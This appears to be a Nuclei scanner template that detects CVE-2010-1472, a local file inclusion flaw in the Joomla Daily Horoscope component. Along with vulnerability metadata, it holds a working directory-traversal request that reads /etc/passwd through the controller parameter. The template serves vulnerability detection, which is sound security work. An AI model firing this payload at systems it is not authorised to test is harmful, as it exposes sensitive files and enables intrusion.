id: CVE-2010-1472

info:
  name: Joomla! Component Horoscope 1.5.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Daily Horoscope (com_horoscope) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potentially execute arbitrary code.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12167
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1472
    - http://www.exploit-db.com/exploits/12167
    - http://www.vupen.com/english/advisories/2010/0859
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1472
    cwe-id: CWE-22
    epss-score: 0.04775
    epss-percentile: 0.8959
    cpe: cpe:2.3:a:kazulah:com_horoscope:1.5.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: kazulah
    product: com_horoscope
  tags: cve,cve2010,joomla,lfi,edb,kazulah,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_horoscope&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b8b7da6ad0d5ba76f9f25cffd6f9cdcb768fd3bf0bae3d581ed8ad853da5243102210085dfa5b89c63815959104fdd8e2b24f62ea4f827a3648924942fa36aca610ab4:922c64590222798bb761d5b6d8e72950